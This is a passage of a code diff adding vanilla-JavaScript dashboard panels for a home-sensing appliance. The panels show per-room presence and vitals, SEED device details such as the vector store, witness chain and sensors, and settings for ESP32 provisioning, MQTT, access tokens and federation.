+  const wrap = h('.mono', { style: { fontSize: '12.5px', lineHeight: '1.9' } });
+
+  // ROOT — the v0 appliance.
+  wrap.appendChild(treeRow(0, '●', 'cog-v0-appliance', pill('ROOT', 'purple'), null));
+
+  // Second tier — SEEDs grouped by .zone.
+  const byZone = groupBy(seeds, (s) => s.zone || 'unzoned');
+  const zones = Object.keys(byZone);
+  zones.forEach((zone, zi) => {
+    const lastZone = zi === zones.length - 1;
+    wrap.appendChild(treeRow(1, lastZone ? '└─' : '├─', zone, pill('zone', 'cyan'), null, true));
+
+    const zoneSeeds = byZone[zone];
+    zoneSeeds.forEach((s, si) => {
+      const lastSeed = si === zoneSeeds.length - 1;
+      wrap.appendChild(treeRow(2, lastSeed ? '└─' : '├─', s.device_id,
+        statusPill(s.online ? 'online' : 'offline'), null));
+
+      // Leaves — the ESP32 nodes attached to this SEED.
+      const nodes = (s.ingest && s.ingest.esp32) || [];
+      if (!nodes.length) {
+        wrap.appendChild(treeRow(3, '·', '(no ESP32 nodes)', null, null, true));
+      }
+      nodes.forEach((n, ni) => {
+        const lastNode = ni === nodes.length - 1;
+        wrap.appendChild(treeRow(3, lastNode ? '└─' : '├─', n.node_id,
+          pill(n.rate_hz + ' Hz', 'grey'), n.packet));
+      });
+    });
+  });
+  return wrap;
+}
+
+function treeRow(depth, connector, label, badge, suffix, muted) {
+  const row = h('.flex.gap-sm', { style: { paddingLeft: (depth * 18) + 'px' } });
+  row.appendChild(h('span.t3', connector));
+  row.appendChild(h(muted ? 'span.t3' : 'span', label));
+  if (badge) row.appendChild(badge);
+  if (suffix) row.appendChild(h('span.t3', suffix));
+  return row;
+}
+
+// ── §4.3 ESP-NOW mesh links (dashed rows coloured by .health) ───────
+function meshLinks(links) {
+  if (!links || !links.length) return h('.muted-empty', 'no mesh links reported');
+  const wrap = h('div');
+  const colour = { green: 'green', amber: 'amber', red: 'red' };
+  links.forEach((l) => {
+    const k = colour[l.health] || 'grey';
+    wrap.appendChild(h('.flex.gap-sm', { style: { padding: '6px 0' } },
+      h('span.mono', l.a),
+      h(`span.${k}`, { style: { letterSpacing: '1px' } }, '╌╌╌'),
+      h('span.mono', l.b),
+      pill(l.health, k)));
+  });
+  return wrap;
+}
+
+// ── Cross-SEED event dedup — fusion badges (kind + n contributing) ──
+function fusionBadges(events) {
+  if (!events || !events.length) return h('.muted-empty', 'no fused cross-SEED events');
+  const wrap = h('.flex.wrap.gap-sm');
+  events.forEach((e) => {
+    const seeds = (e.seeds || []).join(', ');
+    wrap.appendChild(h('span.flex.gap-sm', { style: { alignItems: 'center' } },
+      pill(e.kind, 'cyan'),
+      pill(e.n + ' SEEDs', 'purple'),
+      h('span.t2.mono', { style: { fontSize: '11px' } }, seeds)));
+  });
+  return wrap;
+}
+
+// ── ADR-105 federation config ───────────────────────────────────────
+function federationConfig(fed) {
+  const body = h('div');
+
+  // CRITICAL invariant — the "model deltas only, never raw CSI" guarantee.
+  body.appendChild(h('.banner.purple',
+    { style: { background: 'var(--purple-d)', color: 'var(--purple)', border: '0.67px solid var(--purple)' } },
+    h('strong', 'Federation invariant: '),
+    h('span.mono', fed.invariant)));
+
+  body.appendChild(h('.kv.mt',
+    h('span.k', 'Coordinator SEED'), h('span.v.mono', fed.coordinator),
+    h('span.k', 'Round'), h('span.v.purple', String(fed.round)),
+    h('span.k', 'k_healthy'), h('span.v', String(fed.k_healthy)),
+    h('span.k', 'Delta status'), statusPill(fed.delta_status === 'exchanging' ? 'updating' : fed.delta_status),
+    h('span.k', 'Krum (f)'), h('span.v', String(fed.krum && fed.krum.f)),
+    h('span.k', 'Krum mode'), h('span.v', fed.krum && fed.krum.multi ? 'multi-Krum' : 'Krum'),
+    h('span.k', 'Cadence'), h('span.v', (fed.cadence_min != null ? fed.cadence_min + ' min' : '—'))));
+
+  return card({ title: 'Federation config (ADR-105)', accent: true, children: [body] });
+}
+
+// ── helpers ─────────────────────────────────────────────────────────
+function groupBy(arr, keyFn) {
+  const out = {};
+  for (const item of arr) {
+    const k = keyFn(item);
+    (out[k] || (out[k] = [])).push(item);
+  }
+  return out;
+}

v2/crates/homecore-server/ui/js/panels/rooms.js

@@ -0,0 +1,119 @@
+// §4.5 RoomState / Sensing Panel — mixture-of-specialists output.
+// Per-room cards from GET /api/v1/room/state?bank=<room_id>.
+//
+// UX invariants (§4.5/§6): STALE and VETOED are never subtle; veto-
+// suppressed values render as withheld, NOT zero; null specialists are
+// "Not trained" (calibrate to enable), visually distinct from errors.
+
+import { h, card, pill, statusPill, sectionHeader, bar, confidenceBar, banner, button } from '../ui.js';
+
+export default {
+  meta: { title: 'Rooms' },
+  async render(root, ctx) {
+    const { api } = ctx;
+    root.appendChild(sectionHeader('RoomState / Sensing', 'Highest-level per-room sensing from the calibration mixture-of-specialists'));
+    let rooms;
+    try {
+      rooms = await api.roomStates();
+    } catch (e) {
+      root.appendChild(banner(`RoomState unavailable — ${e && e.message ? e.message : e}. ${e && e.upstreamUnavailable ? 'Calibration service (ADR-151) not reachable through the gateway.' : ''}`, 'red'));
+      return () => {};
+    }
+    if (api.isDemo('rooms')) root.appendChild(banner('DEMO mode (?demo=1) — fixture RoomState, not live calibration output (ADR-131 §2.2).', 'amber'));
+    if (!rooms.length) { root.appendChild(h('.muted-empty', 'No calibrated rooms yet — run the Calibration wizard to enable sensing.')); return () => {}; }
+    const grid = h('.grid.cols-2');
+    rooms.forEach((r) => grid.appendChild(roomCard(r, ctx)));
+    root.appendChild(grid);
+    return () => {};
+  },
+};
+
+function roomCard(r, ctx) {
+  const tint = r.stale ? 'amber' : (r.vetoed ? 'red' : null);
+  const children = [
+    h('.flex.spread',
+      h('strong.mono', r.room_id),
+      h('.flex.gap-sm',
+        r.seeds.length > 1 ? pill(r.seeds.length + ' seeds fused', 'purple') : null,
+        r.vetoed ? pill('veto active', 'red') : null,
+        r.stale ? pill('stale', 'amber') : null)),
+  ];
+
+  // STALE banner — must never be subtle (§4.5)
+  if (r.stale) {
+    children.push(banner('Bank stale — baseline has changed', 'amber',
+      button('Recalibrate room', { variant: 'ghost', onClick: () => ctx.navigate('#/calibration') })));
+  }
+  if (r.vetoed) {
+    children.push(banner('Anomaly veto active — implausible window; vitals/posture withheld', 'red'));
+  }
+
+  children.push(specRow('Presence', presenceChip(r.presence), r.presence));
+  children.push(specRow('Posture', postureView(r), r.posture));
+  children.push(vitalRow('Breathing', r.breathing_bpm, 'BPM', [6, 30], r));
+  children.push(vitalRow('Heart rate', r.heart_bpm, 'BPM', [40, 120], r));
+  children.push(specRow('Restlessness', barOr(r.restlessness, 1), r.restlessness));
+  children.push(anomalyRow(r.anomaly));
+
+  return card({ tint, children });
+}
+
+function specRow(label, valueNode, spec) {
+  const right = h('.flex.gap-sm');
+  right.appendChild(valueNode);
+  if (spec && spec.confidence != null) right.appendChild(confidenceBar(spec.confidence));
+  return h('.row', h('span.k', label), right);
+}
+
+function presenceChip(p) {
+  if (!p) return notTrainedNode(); // null = not trained
+  return statusPill(p.value); // occupied → green, absent → grey
+}
+
+function postureView(r) {
+  if (r.posture === null) return notTrainedNode();            // not trained
+  if (r.vetoed && (!r.posture || r.posture.value == null)) return withheld(); // suppressed, not zero
+  if (!r.posture || r.posture.value == null) return withheld();
+  return statusPill(r.posture.value);
+}
+
+function vitalRow(label, spec, unit, range, r) {
+  let valueNode;
+  if (spec === null) valueNode = notTrainedNode();
+  else if (r.vetoed && (spec.value == null)) valueNode = withheld();
+  else if (spec.value == null) valueNode = withheld();
+  else valueNode = h('span.cyan', `${spec.value} ${unit} `, h('span.t3', `(${range[0]}–${range[1]})`));
+  return specRow(label, valueNode, spec);
+}
+
+function anomalyRow(a) {
+  if (!a) return specRow('Anomaly', notTrainedNode(), null);
+  // §6 honesty: a null threshold is WITHHELD (the upstream RoomState carried
+  // none) — show the value but flag the threshold as unavailable rather than
+  // judging anomalous/normal against a fabricated 0.8 default.
+  if (a.threshold == null) {
+    const wrap = h('div', { style: { width: '160px' } },
+      bar(a.value, 1),
+      h('small.ts', { title: 'no anomaly threshold from upstream — withheld' }, `${a.value} · threshold —`));
+    return specRow('Anomaly', wrap, a);
+  }
+  const over = a.value > a.threshold;
+  const b = bar(a.value, 1, [{ lt: a.threshold, color: 'green' }, { lt: 1.01, color: 'red' }]);
+  const wrap = h('div', { style: { width: '160px' } }, b,
+    h('small.ts', over ? 'anomalous' : 'normal', ` · ${a.value}`));
+  return specRow('Anomaly', wrap, a);
+}
+
+function barOr(spec, max) {
+  if (spec === null) return notTrainedNode();
+  if (!spec || spec.value == null) return withheld();
+  const wrap = h('div', { style: { width: '140px' } }, bar(spec.value, max), h('small.ts', String(spec.value)));
+  return wrap;
+}
+
+function notTrainedNode() {
+  return h('span.t3', { title: 'null specialist — calibrate to enable' }, 'Not trained');
+}
+function withheld() {
+  return h('span.red', { title: 'suppressed by veto — value withheld, not zero' }, '— withheld');
+}

v2/crates/homecore-server/ui/js/panels/seed-detail.js

@@ -0,0 +1,256 @@
+// §4.2 SEED Detail View — the per-device deep dive (route #/seed/<id>).
+//
+// Vector store + witness chain (Ed25519 custody) + onboard sensors +
+// reflex rules + cognitive (boundary fragility) analysis + ingest
+// pipeline. Backed by the SEED HTTPS API (mock until the live endpoint
+// lands → DEMO badge, §7.1). Honesty invariants (§6): null fragility /
+// null sensors render muted, never as zero.
+
+import {
+  h, card, pill, statusPill, sectionHeader, bar, banner, button, mono, kv,
+  sparkline, errorCard, relTime,
+} from '../ui.js';
+
+export default {
+  meta: { title: 'SEED Detail' },
+  async render(root, ctx) {
+    const { api } = ctx;
+    let s;
+    try {
+      s = await api.seed(ctx.params.id);
+    } catch (e) {
+      root.appendChild(sectionHeader('SEED Detail', ctx.params.id));
+      root.appendChild(banner('SEED unavailable — ' + (e.message || e) + (e.upstreamUnavailable ? ' (upstream not yet wired — ADR-131 §12)' : ''), 'red'));
+      root.appendChild(card({ children: [button('← Back to fleet', { onClick: () => ctx.navigate('#/fleet') })] }));
+      return () => {};
+    }
+
+    if (!s) {
+      root.appendChild(sectionHeader('SEED Detail', ctx.params.id));
+      root.appendChild(errorCard(`No SEED with device_id "${ctx.params.id}"`));
+      root.appendChild(card({ children: [button('← Back to fleet', { onClick: () => ctx.navigate('#/fleet') })] }));
+      return () => {};
+    }
+
+    root.appendChild(sectionHeader('SEED Detail', s.zone));
+    if (api.isDemo('fleet')) {
+      root.appendChild(banner('DEMO — SEED HTTPS API not served by this binary; showing contract-conformant data (§7.1).', 'amber'));
+    }
+
+    root.appendChild(identityCard(s, ctx));
+    root.appendChild(vectorStoreCard(s));
+    root.appendChild(witnessCard(s));
+    root.appendChild(sensorsCard(s));
+    root.appendChild(reflexCard(s));
+    root.appendChild(cognitionCard(s));
+    root.appendChild(ingestCard(s));
+    return () => {};
+  },
+};
+
+// ── 1. identity header ────────────────────────────────────────────────
+function identityCard(s, ctx) {
+  return card({
+    children: [
+      sectionHeader(s.device_id, `Firmware ${s.firmware} · ${s.zone}`),
+      h('.flex.spread',
+        statusPill(s.online ? 'online' : 'offline'),
+        button('← Fleet', { onClick: () => ctx.navigate('#/fleet') })),
+      kv([
+        ['Firmware', mono(s.firmware)],
+        ['Paired', pill('paired', 'green')],
+        ['Conn mode', pill(s.conn, s.conn === 'usb' ? 'cyan' : 'purple')],
+        ['Zone', s.zone],
+      ]),
+    ],
+  });
+}
+
+// ── 2. vector store ───────────────────────────────────────────────────
+function vectorStoreCard(s) {
+  const over = s.storage_budget > 0 && s.storage_used / s.storage_budget > 0.8;
+  const storeBar = bar(s.storage_used, s.storage_budget, [{ lt: 0.8, color: 'cyan' }, { lt: 1.01, color: 'amber' }]);
+  const series = Array.from({ length: 24 }, (_, i) => s.knn_latency_ms != null ? +(s.knn_latency_ms + Math.sin(i / 2) * 0.4).toFixed(2) : 0);
+
+  let compacted = false;
+  const compactBtn = button('Compact now', {
+    onClick: () => {
+      if (compacted) return;
+      compacted = true;
+      compactBtn.disabled = true;
+      compactBtn.textContent = 'Compaction queued';
+      console.log('[seed-detail] POST /api/v1/store/compact', s.device_id); // production call
+    },
+  });
+
+  return card({
+    title: 'Vector Store',
+    children: [
+      kv([
+        ['Vectors', s.vector_count.toLocaleString()],
+        ['Dimension', mono(String(s.vector_dim))],
+        ['kNN latency', s.knn_latency_ms != null ? h('span.cyan', s.knn_latency_ms + ' ms') : h('span.t3', '— offline')],
+        ['Epoch', h('span.purple', String(s.epoch))],
+        ['kNN latency trend', sparkline(series, { w: 160, hgt: 28 })],
+      ]),
+      h('.flex.spread.mt',
+        h('span.t2', `Storage — ${s.storage_used.toLocaleString()} / ${s.storage_budget.toLocaleString()}`),
+        over ? pill('budget > 80%', 'amber') : pill('headroom', 'green')),
+      storeBar,
+      over ? banner('Vector store nearing budget — compaction recommended.', 'amber') : null,
+      h('.mt', compactBtn),
+    ],
+  });
+}
+
+// ── 3. witness chain ──────────────────────────────────────────────────
+function witnessCard(s) {
+  const verifyBtn = button('Verify chain', {
+    onClick: () => console.log('[seed-detail] verify witness chain', s.device_id),
+  });
+  const exportBtn = button('Export attestation bundle', {
+    onClick: () => console.log('[seed-detail] export attestation bundle', s.device_id),
+  });
+  return card({
+    title: 'Witness Chain',
+    children: [
+      kv([
+        ['Chain length', h('span.purple', s.witness_len.toLocaleString())],
+        ['Status', s.witness_valid ? pill('valid', 'green') : pill('invalid', 'red')],
+        ['Last verify', relTime(s.witness_last_verify)],
+      ]),
+      h('.flex.gap-sm.mt', verifyBtn, exportBtn),
+      h('small.ts',
+        'Ed25519 custody attestation — device-bound keypair signs (epoch + vector count + witness head): ',
+        mono(`epoch=${s.epoch} · vectors=${s.vector_count} · head=${s.witness_len}`)),
+    ],
+  });
+}
+
+// ── 4. onboard sensors ────────────────────────────────────────────────
+function sensorsCard(s) {
+  if (!s.sensors) {
+    return card({ title: 'Onboard Sensors', children: [h('.muted-empty', 'sensors offline')] });
+  }
+  const x = s.sensors;
+  const grid = h('.grid.cols-3',
+    subCard('BME280', [
+      sub('Temp', h('span.cyan', x.bme280.temp_c + ' °C')),
+      sub('Humidity', h('span.cyan', x.bme280.humidity_pct + ' %')),
+      sub('Pressure', h('span.cyan', x.bme280.pressure_hpa + ' hPa')),
+    ]),
+    subCard('PIR', [
+      sub('Motion', x.pir.motion ? pill('motion', 'amber') : pill('still', 'grey')),
+      sub('Last trigger', h('span.t2', relTime(x.pir.last_trigger))),
+    ]),
+    subCard('Reed', [
+      sub('State', x.reed.open ? pill('open', 'amber') : pill('closed', 'grey')),
+      sub('Last change', h('span.t2', relTime(x.reed.last_change))),
+    ]),
+    subCard('ADS1115', x.ads1115.map((ch) => sub(ch.label, h('span.cyan', String(ch.v))))),
+    subCard('Vibration', [
+      sub('State', x.vibration.active ? pill('active', 'amber') : pill('idle', 'grey')),
+      sub('Last trigger', h('span.t2', relTime(x.vibration.last_trigger))),
+    ]),
+  );
+  return card({ title: 'Onboard Sensors', children: [grid] });
+}
+
+function subCard(name, rows) {
+  return card({ children: [h('h3', name), ...rows] });
+}
+function sub(name, valueNode) {
+  return h('.row', h('span.k.t2', name), valueNode instanceof Node ? valueNode : h('span.cyan', String(valueNode)));
+}
+
+// ── 5. reflex rules ───────────────────────────────────────────────────
+function reflexCard(s) {
+  if (!s.reflex || !s.reflex.length) {
+    return card({ title: 'Reflex Rules', children: [h('.muted-empty', 'no reflex rules configured')] });
+  }
+  const rows = s.reflex.map(reflexRow);
+  return card({ title: 'Reflex Rules', children: rows });
+}
+
+function reflexRow(r) {
+  let thresholdNode;
+  if (r.name === 'fragility_alarm') {
+    const input = h('input.inline', { type: 'number', step: '0.05', value: String(r.threshold) });
+    input.addEventListener('change', () => console.log('[seed-detail] reflex threshold edit (no persist)', r.name, input.value));
+    thresholdNode = input;
+  } else {
+    thresholdNode = mono(String(r.threshold));
+  }
+  const row = h('.row',
+    h('.flex.gap-sm', mono(r.name), r.fired_recently ? pill('fired recently', 'amber') : null),
+    h('.flex.gap-sm',
+      h('span.t2', 'thr'), thresholdNode,
+      h('span.t2', '→'), h('span.v', r.target),
+      h('small.ts', 'fired ' + (r.last_fired ? relTime(r.last_fired) : 'never'))));
+  if (r.fired_recently) {
+    return card({ tint: 'amber', children: [row] });
+  }
+  return row;
+}
+
+// ── 6. cognitive analysis ─────────────────────────────────────────────
+function cognitionCard(s) {
+  const c = s.cognition || {};
+  const children = [];
+
+  if (c.fragility == null) {
+    children.push(h('.muted-empty', 'fragility unavailable — cognition offline'));
+  } else {
+    const fragile = c.fragility > 0.3;
+    const fb = bar(c.fragility, 1, [{ lt: 0.3, color: 'green' }, { lt: 0.6, color: 'amber' }, { lt: 1.01, color: 'red' }]);
+    if (fragile) {
+      children.push(banner(`Boundary fragility elevated — ${c.fragility.toFixed(2)} (regime change likely)`, 'amber'));
+    }
+    children.push(h('.flex.spread', h('span.t2', 'Boundary fragility'), h('span' + (fragile ? '.amber' : '.green'), c.fragility.toFixed(2))));
+    children.push(fb);
+  }
+
+  if (c.coherence_phases && c.coherence_phases.length) {
+    children.push(h('h3.mt', 'Coherence phases'));
+    c.coherence_phases.forEach((p) => {
+      children.push(h('.row', mono(relTime(p.t)), h('span.v', p.label)));
+    });
+  }
+
+  children.push(h('.row.mt', h('span.k.t2', 'kNN rebuild cadence'), mono((c.knn_rebuild_s ?? '—') + ' s')));
+  return card({ title: 'Cognitive Analysis', children });
+}
+
+// ── 7. ingest pipeline ────────────────────────────────────────────────
+function ingestCard(s) {
+  const ing = s.ingest || {};
+  const children = [
+    kv([
+      ['Batch size', mono(String(ing.batch))],
+      ['Flush interval', mono((ing.flush_ms ?? '—') + ' ms')],
+      ['Bridge', String(ing.bridge ?? '—')],
+    ]),
+  ];
+
+  if (ing.bridge && /hop/i.test(ing.bridge)) {
+    children.push(banner('Bridge adds a network hop — extra latency + a trust boundary in the ingest path.', 'amber'));
+  }
+
+  if (ing.esp32 && ing.esp32.length) {
+    children.push(h('h3.mt', 'ESP32 ingest nodes'));
+    ing.esp32.forEach((n) => children.push(esp32Row(n)));
+  } else {
+    children.push(h('.muted-empty', 'no ESP32 nodes attached'));
+  }
+  return card({ title: 'Ingest Pipeline', children });
+}
+
+function esp32Row(n) {
+  const native = n.packet === '0xC5110003';
+  const packetPill = native
+    ? pill('0xC5110003 native', 'green')
+    : pill((n.packet || '—') + ' vitals fallback', 'amber');
+  return h('.row',
+    mono(n.node_id),
+    h('.flex.gap-sm', packetPill, h('span.t2', n.rate_hz + ' Hz')));
+}

v2/crates/homecore-server/ui/js/panels/settings.js

@@ -0,0 +1,256 @@
+// §4.10 Settings & Integration Config — ADR-131.
+// One card per sub-section: SEED fleet management, ESP32 provisioning,
+// MQTT / cog-ha-matter config, long-lived access tokens, federation
+// config. Security invariants are surfaced as first-class banners
+// (USB-only pairing window; "model deltas only, never raw CSI").
+//
+// Mutations are local-state-only here (no live mutate endpoint yet); the
+// node→room assignment edits persist into an in-memory map and the panel
+// is flagged DEMO whenever the mock layer is serving it (§7.1 honesty).
+
+import {
+  h, clear, card, pill, statusPill, sectionHeader, mono, button, banner, kv, relTime,
+} from '../ui.js';
+
+export default {
+  meta: { title: 'Settings' },
+  async render(root, ctx) {
+    const { api } = ctx;
+
+    // Load each card's data independently so one failure doesn't blank the page.
+    let s = null, sErr = null;
+    let seeds = null, seedsErr = null;
+    let fed = null, fedErr = null;
+    try { s = await api.settings(); } catch (e) { sErr = e; }
+    try { seeds = await api.seeds(); } catch (e) { seedsErr = e; }
+    try { fed = await api.federation(); } catch (e) { fedErr = e; }
+
+    root.appendChild(sectionHeader('Settings & Integration Config', 'SEED fleet, ESP32 provisioning, MQTT / cog-ha-matter, access tokens & federation (ADR-131 §4.10)'));
+
+    if (api.isDemo('settings') || api.isDemo('fleet')) {
+      root.appendChild(banner('DEMO — settings & fleet are served by the contract-conformant mock layer until their live endpoints land (ADR-131 §7.1). Edits are local-state only.', 'amber'));
+    }
+
+    // ── §4.10.1 SEED fleet ──
+    if (seedsErr) root.appendChild(cardBanner('SEED Fleet Management', 'SEED fleet unavailable — ' + errText(seedsErr)));
+    else root.appendChild(seedFleetCard(seeds));
+
+    // ── §4.10.2/.3/.4 ESP32 + MQTT + tokens (all from settings) ──
+    if (sErr) {
+      root.appendChild(cardBanner('ESP32 Node Provisioning', 'ESP32 provisioning unavailable — ' + errText(sErr)));
+      root.appendChild(cardBanner('MQTT / cog-ha-matter', 'MQTT / cog-ha-matter config unavailable — ' + errText(sErr)));
+      root.appendChild(cardBanner('Long-Lived Access Tokens', 'Access tokens unavailable — ' + errText(sErr)));
+    } else {
+      root.appendChild(esp32Card(s.esp32));
+      root.appendChild(mqttCard(s.mqtt, s.ha_disco_entities, s.esp32));
+      root.appendChild(tokensCard(s.tokens));
+    }
+
+    // ── §4.10.5 Federation (needs federation + seeds) ──
+    if (fedErr || seedsErr) root.appendChild(cardBanner('Federation Config', 'Federation config unavailable — ' + errText(fedErr || seedsErr)));
+    else root.appendChild(federationCard(fed, seeds));
+
+    return () => {};
+  },
+};
+
+// ── §4.10.1 SEED fleet management ───────────────────────────────────
+function seedFleetCard(seeds) {
+  const body = h('div');
+
+  // PROMINENT USB-only pairing invariant (security invariant).
+  body.appendChild(banner('Pairing window only opens via 169.254.42.1 (USB), never WiFi — security invariant.', 'red'));
+
+  const list = h('div.mt');
+  seeds.forEach((sd) => list.appendChild(seedRow(sd)));
+  body.appendChild(list);
+
+  body.appendChild(h('.flex.wrap.gap-sm.mt',
+    button('Add SEED', { variant: 'ghost', onClick: () => toggleNote(addNote) }),
+    button('Reprovision', { variant: 'ghost', onClick: () => toggleNote(addNote) })));
+
+  const addNote = inlineNote('Provisioning flow', [
+    '1. Connect the SEED over USB — it presents a link-local pairing endpoint at 169.254.42.1.',
+    '2. Pairing NEVER opens over WiFi; the device refuses pairing on any non-USB interface.',
+    '3. Issue a bearer token over the USB link, then attach the SEED to the appliance.',
+    '4. Verify the witness chain before accepting the SEED into the fleet.',
+  ]);
+  body.appendChild(addNote);
+
+  return card({ title: 'SEED Fleet Management', children: [body] });
+}
+
+function seedRow(sd) {
+  const offline = !sd.online;
+  const tokenKind = offline ? 'grey' : 'green';
+  const tokenLabel = offline ? 'token idle' : 'token valid';
+  const note = inlineNote('Secure token rotation — ' + sd.device_id, [
+    '1. Operator confirms physical presence; pairing must be re-opened over USB (169.254.42.1) — never WiFi.',
+    '2. Appliance mints a new bearer token and stages it on the SEED over the USB link.',
+    '3. SEED acknowledges; the appliance flips the active token and revokes the old one.',
+    '4. Witness chain records the rotation (ed25519); old token rejected on next ingest.',
+  ]);
+  const head = h('.row',
+    h('strong.mono', sd.device_id),
+    h('.flex.gap-sm',
+      h('span.t2', sd.firmware),
+      pill(tokenLabel, tokenKind),
+      statusPill(sd.online ? 'online' : 'offline'),
+      button('Rotate token', { variant: 'ghost', onClick: () => toggleNote(note) }),
+      button('Remove', { variant: 'ghost', onClick: () => toggleNote(note) })));
+  return h('div', head, note);
+}
+
+// ── §4.10.2 ESP32 node provisioning ─────────────────────────────────
+function esp32Card(nodes) {
+  // local-state room assignment map (node_id → room) — no live endpoint.
+  const roomMap = {};
+  nodes.forEach((n) => { roomMap[n.node_id] = n.room; });
+
+  const body = h('div');
+  nodes.forEach((n) => {
+    const sel = h('input.inline', {
+      value: roomMap[n.node_id],
+      title: 'Editable node→room assignment (local state)',
+      onChange: (e) => { roomMap[n.node_id] = e.target.value.trim(); },
+    });
+    body.appendChild(h('.row',
+      h('.flex.gap-sm',
+        h('strong.mono', n.node_id),
+        mono(n.ip + ':' + n.port),
+        h('span.t2', 'fw ' + n.firmware),
+        pill(n.seed, 'cyan')),
+      h('.flex.gap-sm', h('span.k', 'room'), sel)));
+  });
+
+  body.appendChild(h('.t3.mt', 'Provision a new node with the firmware tool: ',
+    mono('firmware/esp32-csi-node/provision.py'),
+    ' (set --target-ip to this appliance).'));
+
+  body.appendChild(h('.flex.wrap.gap-sm.mt',
+    button('Add ESP32 node', { variant: 'ghost', onClick: () => alert('Run provision.py over USB — see hint above.') }),
+    button('Apply room map', { variant: 'ghost', onClick: () => alert('Room map persisted locally: ' + JSON.stringify(roomMap)) })));
+
+  return card({ title: 'ESP32 Node Provisioning', children: [body] });
+}
+
+// ── §4.10.3 MQTT / cog-ha-matter config ─────────────────────────────
+function mqttCard(mqtt, haEntities, esp32) {
+  const dotCls = mqtt.connected ? '' : '.err';
+  const liveDot = h('span.lag',
+    h('span.dot' + dotCls),
+    h('span.t2', mqtt.connected ? 'connected' : 'disconnected'));
+
+  const conf = kv([
+    ['Broker', mono(mqtt.broker)],
+    ['User', mqtt.user],
+    ['Credentials', mono('••••••')],
+    ['mDNS advertisement', mono(mqtt.mdns)],
+    ['Connection', liveDot],
+  ]);
+
+  // HA-DISCO entities per node with via_device assignments.
+  const disco = h('div.mt',
+    h('h3', `HA-DISCO entities — ${haEntities} per node`),
+    h('.t3', 'Each ESP32 node publishes its discovery entities with a via_device pointing at its SEED:'));
+  esp32.forEach((n) => disco.appendChild(h('.row',
+    h('span.mono', n.node_id),
+    h('.flex.gap-sm', pill(haEntities + ' entities', 'cyan'), h('span.t2', 'via_device'), mono(n.seed)))));
+
+  return card({ title: 'MQTT / cog-ha-matter', children: [conf, disco] });
+}
+
+// ── §4.10.4 Long-lived access tokens ────────────────────────────────
+function tokensCard(tokens) {
+  const body = h('div');
+  tokens.forEach((t) => {
+    body.appendChild(h('.row',
+      h('.flex.gap-sm', h('strong', t.name), pill('long-lived', 'purple')),
+      h('.flex.gap-sm',
+        h('span.t2', 'last used ' + relTime(t.last_used)),
+        h('span.t3', 'created ' + relTime(t.created)),
+        button('Revoke', { variant: 'ghost', onClick: () => alert('Revoking "' + t.name + '" — token rejected on next request (local demo).') }))));
+  });
+
+  body.appendChild(h('.flex.wrap.gap-sm.mt',
+    button('Create token', { variant: 'primary', onClick: () => alert('A new long-lived token would be minted and shown once (demo).') })));
+
+  // HA companion-app pairing QR placeholder box.
+  const qr = h('.muted-empty.mt', { style: { border: '0.67px dashed var(--border)', borderRadius: '8px', padding: '24px', textAlign: 'center' } },
+    'HA companion-app pairing QR surfaces here — scan from the Home Assistant mobile app to pair this appliance (placeholder).');
+  body.appendChild(qr);
+
+  return card({ title: 'Long-Lived Access Tokens', children: [body] });
+}
+
+// ── §4.10.5 Federation config (ADR-105) ─────────────────────────────
+function federationCard(fed, seeds) {
+  const body = h('div');
+
+  // CRITICAL invariant — model deltas only, never raw CSI (purple).
+  body.appendChild(purpleBanner('Federation invariant — ' + fed.invariant + '.'));
+
+  body.appendChild(kv([
+    ['Coordinator SEED', mono(fed.coordinator)],
+    ['Round', h('span.purple', String(fed.round))],
+    ['Healthy SEEDs (k)', String(fed.k_healthy)],
+    ['Delta exchange', statusPill(fed.delta_status === 'exchanging' ? 'updating' : fed.delta_status)],
+    ['Round cadence', fed.cadence_min + ' min'],
+    ['Krum aggregation', h('.flex.gap-sm', pill('f = ' + fed.krum.f, 'cyan'), pill(fed.krum.multi ? 'multi-Krum' : 'single-Krum', 'purple'), h('span.t3', 'ADR-105'))],
+  ]));
+
+  // ESP-NOW mesh sync status — rows coloured by health.
+  const mesh = h('div.mt', h('h3', 'ESP-NOW mesh sync — cross-SEED epoch alignment'));
+  fed.mesh_links.forEach((l) => {
+    const epochA = epochOf(seeds, l.a);
+    const epochB = epochOf(seeds, l.b);
+    const aligned = epochA != null && epochA === epochB;
+    mesh.appendChild(h('.row',
+      h('.flex.gap-sm', h('span.mono', l.a), h('span.t3', '↔'), h('span.mono', l.b)),
+      h('.flex.gap-sm',
+        h('span.t2', `epoch ${fmtEpoch(epochA)} / ${fmtEpoch(epochB)}`),
+        pill(aligned ? 'aligned' : 'epoch skew', aligned ? 'green' : 'amber'),
+        pill(l.health, healthKind(l.health)))));
+  });
+  body.appendChild(mesh);
+
+  return card({ title: 'Federation Config', children: [body] });
+}
+
+// ── helpers ─────────────────────────────────────────────────────────
+/** Format a load error, surfacing the §12 upstream-not-wired hint. */
+function errText(e) {
+  return (e && e.message ? e.message : String(e)) + (e && e.upstreamUnavailable ? ' (upstream not yet wired — ADR-131 §12)' : '');
+}
+/** Render a card whose body is a red unavailability banner (one card's data failed). */
+function cardBanner(title, msg) {
+  return card({ title, children: [banner(msg, 'red')] });
+}
+function epochOf(seeds, id) {
+  const s = seeds.find((x) => x.device_id === id);
+  return s ? s.epoch : null;
+}
+function fmtEpoch(e) { return e == null ? '—' : String(e); }
+function healthKind(h0) {
+  const m = { green: 'green', red: 'red', amber: 'amber' };
+  return m[String(h0).toLowerCase()] || 'grey';
+}
+
+/** Purple banner for federation invariants (no .banner.purple in CSS). */
+function purpleBanner(text) {
+  return h('.banner', {
+    style: { background: 'var(--purple-d)', color: 'var(--purple)', border: '0.67px solid var(--purple)' },
+  }, text);
+}
+
+/** A hidden, toggleable multi-step note describing a secure flow. */
+function inlineNote(title, steps) {
+  const node = h('.banner', {
+    style: { background: 'var(--bg2)', border: '0.67px solid var(--border)', color: 'var(--t1)', display: 'none' },
+  }, h('strong', title));
+  steps.forEach((line) => node.appendChild(h('.t2', { style: { marginTop: '4px' } }, line)));
+  return node;
+}
+function toggleNote(node) {
+  node.style.display = node.style.display === 'none' ? 'block' : 'none';
+}

v2/crates/homecore-server/ui/js/ui.js

@@ -0,0 +1,235 @@
+// HOMECORE-UI shared component helpers — ADR-131 §3.3.
+//
+// Every panel imports from here so cards/pills/buttons/badges are
+// byte-identical across the dashboard (the §3.3 "no visual seam"
+// invariant). Pure DOM, no framework, no build step.
+
+/** Hyperscript element factory. `h('div.card#x', {onClick}, ...children)`. */
+export function h(spec, attrs, ...children) {
+  let tag = 'div', id = null;
+  const classes = [];
